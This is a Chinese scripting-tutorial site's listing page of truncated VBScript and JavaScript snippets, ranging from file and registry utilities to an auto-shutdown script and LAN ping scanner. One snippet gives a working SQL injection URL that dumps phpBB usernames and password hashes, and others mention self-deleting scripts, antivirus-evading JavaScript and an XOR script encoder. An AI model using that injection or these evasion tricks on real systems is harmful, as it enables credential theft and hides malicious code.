编程脚本-脚本相关资料-www.escdns.com

vbs后台运行bat删除自身的代码

2016年07月27日 119 阅读

知道真实路径的情况下复制代码代码如下:set fso=wscript.createobject（"scripting.filesystemobject"） fso.deletefile "c:windowssystem32 un.cmd" fso.deletefile "c:windowssystem32 un.vbs" 不知道具体的路径情况下，可以用如下代码：复制代码代码如下: Set fso =CreateObject（"Scripting.Fil...

vbs（asp） ByVal ByRef函数调用使用说明

2016年07月27日 108 阅读

1、ByVal传值：一种将参数值而不是将地址传递给过程的方式，这就使过程访问到变量的复本。结果，过程不可改变变量的真正值。 2、ByRef传值：一种将参数地址而不是将值传递给过程的方式，这就使过程访问到实际的变量。结果，过程可改变变量的真正值。除非另作说明，否则按地址传递参数。 3、系统默认的是ByRef传值。例子：复制代码代码如下: <SCRIPT LANGUAGE="vbScript"> dim a a=0 document.write...

一段提取用户名和md5的vbs代码

2016年07月27日 111 阅读

注入代码如下: links.php？t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit 0,1000/* 这样就提取了1000个用户名和md5，将上边的保存成htm，要挨个提取出md5和用户名很麻烦，写了段代码。这段代码我很满意，估计是...

vbs fso跨盘移动文件夹的怪问题

2016年07月27日 103 阅读

跨盘移动文件夹的怪问题 Set objFSO = CreateObject（"Scripting.FileSystemObject"） objFSO.MoveFolder "C:Scripts" , "d:2" 权限拒绝，但是copy就可以。可以采用变通的办法先复制再删除 ========================================wmi================= strComputer = "." Set objWMIServ...

vbs删除文本文件的行的函数

2016年07月27日 106 阅读

Delete Line Function复制代码代码如下:Function DeleteLine（strFile, strKey, LineNumber, CheckCase） "DeleteLine Function by TomRiddle 2008 "Remove line（s） containing text （strKey） from text file （strFile） "or "Remove line number from text f...

显示运行对话框内保存的命令历史的vbs

2016年07月27日 116 阅读

复制代码代码如下:Const HKEY_CURRENT_USER = &H80000001 strComputer = "." Set objRegistry = GetObject（"winmgmts:\" & strComputer & " ootdefault:StdRegProv"） strKeyPath = "SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU" objRegistry.En...

emule自动关机脚本

2016年07月27日 109 阅读

dir="E:Temp" Set fso=CreateObject（"Scripting.FileSystemObject"） cmd="shutdown -s -f -t 60" Set ws=WScript.CreateObject（"WScript.Shell"） Wscript.Echo "emule自动关机脚本已运行……" count=0 do until count<-1 chksize = fso.GetFolder（dir）.Size...

IE中用VBScript不提示直接打印的代码

2016年07月27日 111 阅读

首先在HTML 页面中加入WebBrowser 的Object: <OBJECT classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2" height=0 id=wb name=wb width=0></OBJECT> 之后，使用如下代码进行打印： <script language="VBScript"> sub printvb（） wb.execwb 6,2,3 End...

vbs引用另一个vbs的代码

2016年07月27日 108 阅读

第一个页面： <html> <head> <script language="VBScript"> Sub Hello（） Document.All.myScriptlet.Hello End Sub </script> </head> <body onload="Hello（）"> <OBJECT ID="myScriptlet" TYPE="text/x-scriptlet"...

VBScript 剪贴板抓取URL并在浏览器中打开

2016年07月27日 106 阅读

您好，CL。这是很有趣的问题，或者我们应当说，这是两个很有趣的问题。因为您实际上问了两个问题。第一个问题很简单：我可以使用脚本打开特定的 Web 站点吗？您大概已经知道答案了，我可以大声地回答您，可以！下面是一个示例脚本，它将“脚本中心”的 URL 存储在一个名为 strURL 的变量中。然后，此脚本会创建 WSH Shell 对象的一个实例，并使用 Run 方法来打开默认的 Web 浏览器并导航到指定的 URL： strURL = “http://www...

奇特的js写法,或许可以用来加密躲杀毒软件什么的

2016年07月27日 95 阅读

不用怀疑,是正常可以执行的.如果在这里边随便加点数字还能说得通的话,再看下一个例子: 复制代码代码如下:var w=WScript.createObject（"wscript.shell"） 123,w.popup（showFolders（"c:\",456）） function showFolders（foldername） { var fs,f,fc,s; s="" fs=new ActiveXObject（"Scripting.FIleSystem...

自动写入文件上传到指定服务器SoftwareMeteringCLS.vbs源码

2016年07月27日 103 阅读

复制代码代码如下:" FileName: SoftwareMeteringCLS.vbs " //////////////////////////////////////////////////////////////////// If （WScript.ScriptName = "SoftwareMeteringCLS.vbs"） Then Call demo_SoftwareMeteringCLS（） " ======================...

一个查看局域网在线IP的vbs脚本

2016年07月27日 109 阅读

复制代码代码如下:strSubNet = "192.168.1." Set objFSO= CreateObject（"Scripting.FileSystemObject"） Set objTS = objfso.CreateTextFile（"e:PingResult.txt"） For i = 1 To 254 strComputer = strSubNet & i blnResult = Ping（strComputer） If blnResul...

Dynamic Activity Window动态活动窗口vbs

2016年07月27日 107 阅读

复制代码代码如下:Option Explicit Dim oBar Set oBar = New ProgressBar oBar.StartBar "This is a test." WScript.Sleep （3000） oBar.SetLine "So is this." WScript.Sleep （3000） oBar.CloseBar Class ProgressBar Dim oBarCat, sProgressBarHTAFile, s...

可以查询系统用户名sid的vbs

2016年07月27日 106 阅读

复制代码代码如下:set path=wscript.createobject（"wscript.shell"） usera=path.ExpandEnvironmentStrings（"%username%"） name=inputbox（"请输入你要查询的用户名","sid查询--by不追不悔",usera） strComputer = "." Set wbemServices = Getobject（"winmgmts:\" & strCompute...

VBScript使用ADSI为IIS批量添加屏蔽或允许访问的IP

2016年07月27日 108 阅读

复制代码代码如下:"/*========================================================================= " * Intro VBScript使用ADSI为IIS批量添加屏蔽或允许访问的IP " * FileName VBScript-ADSI-IIS-Add-Deny-Grant-IP-Change-MetaBase.xml.vbs " *========================...

WMI IE代理切换或改变（Use WMI Change IE Proxy）

2016年07月27日 102 阅读

将下面的代码，保存为 vbs即可复制代码代码如下:If WScript.Arguments.Count = 0 Then GetI = -1 Else GetI = CInt（WScript.Arguments（0）） End If Call YourCode（） "把你弄到的代理都写在一个文本文件里（IP.txt），格式是一行一个： ip:端口 IPS = CreateObject（"Scripting.FileSystemObject"）.OpenT...

SendKeys clip.exe 发送中文的代码

2016年07月27日 108 阅读

复制代码代码如下:Set WshShell=CreateObject（"WScript.Shell"） code="让SendKeys可以发送中文" WshShell.Run "cmd.exe /c echo " & code & "| clip.exe", vbHide app=WshShell.Run （"notepad"） WScript.Sleep 1000 WshShell.AppActivate app WshShell.SendKeys "...

利用计划任务和VBS脚本实现自动WEB共享文件夹里的文件

2016年07月27日 111 阅读

复制代码代码如下:Option Explicit On Error Resume Next "生成列表的文件类型 Const sListFileType = "wmv,rm,wma" "文件所在的相对路径 Const sShowPath="." "排序类型的常量定义 Const iOrderFieldFileName = 0 Const iOrderFieldFileExt = 1 Const iOrderFieldFileSize = 2 Const ...

XorEncode的vbs实现代码

2016年07月27日 106 阅读

复制代码代码如下:If Not WScript.Arguments.Count=1 Then WScript.Echo "请将要转换的vbs文件托拽到我身上！":WScript.Quit Set fso=CreateObject（"Scripting.FileSystemObject"） Set self=fso.OpenTextFile（WScript.ScriptFullName） Set vbs=fso.CreateTextFile（Left（WS...

首页 / 编程脚本

vbs后台运行bat删除自身的代码

vbs（asp） ByVal ByRef函数调用使用说明

一段提取用户名和md5的vbs代码

vbs fso跨盘移动文件夹的怪问题

vbs删除文本文件的行的函数

显示运行对话框内保存的命令历史的vbs

emule自动关机脚本

IE中用VBScript不提示直接打印的代码

vbs引用另一个vbs的代码

VBScript 剪贴板抓取URL并在浏览器中打开

奇特的js写法,或许可以用来加密躲杀毒软件什么的

自动写入文件上传到指定服务器SoftwareMeteringCLS.vbs源码

一个查看局域网在线IP的vbs脚本

Dynamic Activity Window动态活动窗口vbs

可以查询系统用户名sid的vbs

VBScript使用ADSI为IIS批量添加屏蔽或允许访问的IP

WMI IE代理 切换或改变（Use WMI Change IE Proxy）

SendKeys clip.exe 发送中文的代码

利用计划任务和VBS脚本实现自动WEB共享文件夹里的文件

XorEncode的vbs实现代码

WMI IE代理切换或改变（Use WMI Change IE Proxy）